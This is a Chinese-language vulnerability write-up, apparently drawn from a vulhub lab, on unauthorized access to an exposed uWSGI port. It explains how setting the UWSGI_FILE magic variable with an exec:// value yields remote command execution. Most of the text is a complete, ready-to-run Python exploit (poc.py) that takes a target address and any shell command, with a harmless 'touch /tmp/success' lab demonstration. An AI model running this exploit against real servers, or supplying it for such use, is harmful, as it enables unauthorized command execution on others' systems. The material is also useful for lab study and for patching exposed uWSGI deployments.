uWSGI 未授权访问漏洞

一、漏洞简介

WSGI是一款Web应用程序服务器，它实现了WSGI、uwsgi和http等协议，并支持通过插件来运行各种语言，通常被用于运行Python WEB应用。uwsgi除了是应用容器的名称之外，它和Fastcgi之类的一样，也是前端server与后端应用容器之间的一个交流标准。目前nginx，apache也支持uwsgi协议进行代理转发请求。

uWSGI支持通过魔术变量（Magic Variables）的方式动态配置后端Web应用。如果其端口暴露在外，攻击者可以构造uwsgi数据包，并指定魔术变量UWSGI_FILE，运用exec://协议执行任意命令。

二、漏洞影响

三、复现过程

使用poc.py，执行命令python poc.py -u your-ip:8000 -c "touch /tmp/success"：

执行docker-compose exec web bash进入容器，可见/tmp/success已经成功执行：

poc.py
#!/usr/bin/python
# coding: utf-8
######################
# Uwsgi RCE Exploit
######################
# Author: [email protected]
# Created: 2017-7-18
# Last modified: 2018-1-30
# Note: Just for research purpose

import sys
import socket
import argparse
import requests

def sz(x):
    s = hex(x if isinstance(x, int) else len(x))[2:].rjust(4, '0')
    s = bytes.fromhex(s) if sys.version_info[0] == 3 else s.decode('hex')
    return s[::-1]


def pack_uwsgi_vars(var):
    pk = b''
    for k, v in var.items() if hasattr(var, 'items') else var:
        pk += sz(k) + k.encode('utf8') + sz(v) + v.encode('utf8')
    result = b'\x00' + sz(pk) + b'\x00' + pk
    return result


def parse_addr(addr, default_port=None):
    port = default_port
    if isinstance(addr, str):
        if addr.isdigit():
            addr, port = '', addr
        elif ':' in addr:
            addr, _, port = addr.partition(':')
    elif isinstance(addr, (list, tuple, set)):
        addr, port = addr
    port = int(port) if port else port
    return (addr or '127.0.0.1', port)


def get_host_from_url(url):
    if '//' in url:
        url = url.split('//', 1)[1]
    host, _, url = url.partition('/')
    return (host, '/' + url)


def fetch_data(uri, payload=None, body=None):
    if 'http' not in uri:
        uri = 'http://' + uri
    s = requests.Session()
    # s.headers['UWSGI_FILE'] = payload
    if body:
        import urlparse
        body_d = dict(urlparse.parse_qsl(urlparse.urlsplit(body).path))
        d = s.post(uri, data=body_d)
    else:
        d = s.get(uri)

    return {
        'code': d.status_code,
        'text': d.text,
        'header': d.headers
    }


def ask_uwsgi(addr_and_port, mode, var, body=''):
    if mode == 'tcp':
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(parse_addr(addr_and_port))
    elif mode == 'unix':
        s = socket.socket(socket.AF_UNIX)
        s.connect(addr_and_port)
    s.send(pack_uwsgi_vars(var) + body.encode('utf8'))
    response = []
    # Actually we dont need the response, it will block if we run any commands.
    # So I comment all the receiving stuff. 
    # while 1:
    #     data = s.recv(4096)
    #     if not data:
    #         break
    #     response.append(data)
    s.close()
    return b''.join(response).decode('utf8')


def curl(mode, addr_and_port, payload, target_url):
    host, uri = get_host_from_url(target_url)
    path, _, qs = uri.partition('?')
    if mode == 'http':
        return fetch_data(addr_and_port+uri, payload)
    elif mode == 'tcp':
        host = host or parse_addr(addr_and_port)[0]
    else:
        host = addr_and_port
    var = {
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'REQUEST_METHOD': 'GET',
        'PATH_INFO': path,
        'REQUEST_URI': uri,
        'QUERY_STRING': qs,
        'SERVER_NAME': host,
        'HTTP_HOST': host,
        'UWSGI_FILE': payload,
        'SCRIPT_NAME': target_url
    }
    return ask_uwsgi(addr_and_port, mode, var)


def main(*args):
    desc = """
    This is a uwsgi client & RCE exploit.
    Last modifid at 2018-01-30 by [email protected]
    """
    elog = "Example：uwsgi_exp.py -u 1.2.3.4:5000 -c \"echo 111>/tmp/abc\""

    parser = argparse.ArgumentParser(description=desc, epilog=elog)

    parser.add_argument('-m', '--mode', nargs='?', default='tcp',
                        help='Uwsgi mode: 1. http 2. tcp 3. unix. The default is tcp.',
                        dest='mode', choices=['http', 'tcp', 'unix'])

    parser.add_argument('-u', '--uwsgi', nargs='?', required=True,
                        help='Uwsgi server: 1.2.3.4:5000 or /tmp/uwsgi.sock',
                        dest='uwsgi_addr')

    parser.add_argument('-c', '--command', nargs='?', required=True,
                        help='Command: The exploit command you want to execute, must have this.',
                        dest='command')

    if len(sys.argv) < 2:
        parser.print_help()
        return
    args = parser.parse_args()
    if args.mode.lower() == "http":
        print("[-]Currently only tcp/unix method is supported in RCE exploit.")
        return
    payload = 'exec://' + args.command + "; echo test" # must have someting in output or the uWSGI crashs.
    print("[*]Sending payload.")
    print(curl(args.mode.lower(), args.uwsgi_addr, payload, '/testapp'))

if __name__ == '__main__':
    main()

参考链接

https://github.com/vulhub/vulhub/blob/master/uwsgi/unacc/README.zh-cn.md